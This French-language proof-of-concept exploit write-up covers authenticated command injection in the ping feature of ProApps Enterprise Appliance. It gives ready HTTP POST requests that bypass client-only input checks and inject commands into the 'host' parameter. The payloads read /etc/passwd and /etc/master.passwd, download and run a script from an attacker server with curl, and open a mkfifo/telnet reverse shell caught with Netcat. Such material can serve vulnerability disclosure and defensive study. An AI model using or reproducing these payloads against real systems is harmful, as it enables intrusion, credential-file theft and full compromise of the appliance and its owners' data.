
Exploit de preuve de concept pour l'exécution de code à distance authentifiée via une injection de commandes dans la fonctionnalité ping de ProApps Enterprise Appliance, avec une charge utile de shell inverse et un contournement de l'assainissement côté client.
Product Vendor: freebsdbrasil
Item: ProApps - Enterprise Appliance
Editor Creator: DreamWeaver
PHP: PHP Version 7.3.18
Java Script Library: Jquery UI 1.6 | Jquery 1.2.6
Server: NGINX
Operational System: FreeBDS Unix
Exécution de code à distance
La vulnérabilité survient car un utilisateur peut injecter des commandes système dans l'application en utilisant la fonctionnalité ping, en ajoutant un opérateur de séquence de commandes dans les environnements Unix, comme (;, &&, ou |). Pour exploiter la vulnérabilité, il est nécessaire d'être authentifié. L'utilisateur doit appartenir à un groupe de permissions appelé 'Status' et posséder l'autorisation 'Modified'. Il est également important de mentionner qu'une exploitation réussie nécessite de contourner l'assainissement des entrées. L'application ne valide les entrées utilisateur que du côté frontal, ce qui oblige à envoyer la requête via un proxy réseau, par exemple. De cette manière, les limitations imposées par l'application peuvent être contournées.
Après l'authentification, il sera nécessaire d'accéder à une page appelée sta_rede.diagnostico_ping (http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view).
Cette page fournit une fonction pour effectuer une requête ICMP vers un hôte arbitraire. Pour en savoir plus sur l'utilitaire ping et le protocole ICMP (Requête et Réponse), veuillez vous référer à la RFC mentionnée dans la section références.
L'application envoie une requête POST avec les paramètres host, testar_pacote et ttl, où host est la cible du ping, testar_pacote spécifie le nombre de requêtes ICMP à envoyer, et TTL est le Time to Live (TTL) des paquets. Lors de l'envoi de la requête, l'application exécute la commande suivante sur le système Unix : ping -c $testar_pacote $host. Ci-dessous la requête POST démontrant la fonctionnalité :
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
C'est ici qu'un vecteur d'attaque est remarqué. Un utilisateur peut exploiter la vulnérabilité en envoyant une requête POST malveillante via un proxy réseau pour contourner l'assainissement des entrées, en ajoutant l'un des opérateurs de séquence de commandes (;, &&, ou |) au paramètre host ; l'application web exécutera la commande ping mentionnée ci-dessus, suivie d'une commande supplémentaire. Par exemple, cela pourrait inclure la lecture de fichiers sensibles comme /etc/passwd, /etc/master.passwd ou obtenir un reverse shell ou exécuter des commandes arbitraires.
La requête POST ci-dessous est un exemple malveillant et conçu :
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
Requête HTTP POST vers sta_rede.diagnostico_ping :
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
En écoutant sur le port spécifié avec Netcat, un reverse shell est ouvert avec succès.
Les vulnérabilités RCE (Remote Code Execution, Exécution de code à distance) permettent à un attaquant d'exécuter du code arbitraire sur un dispositif distant ; cela peut conduire à une compromission totale du système, une violation de données, un mouvement latéral, un déploiement de logiciels malveillants et des dommages réputationnels et financiers.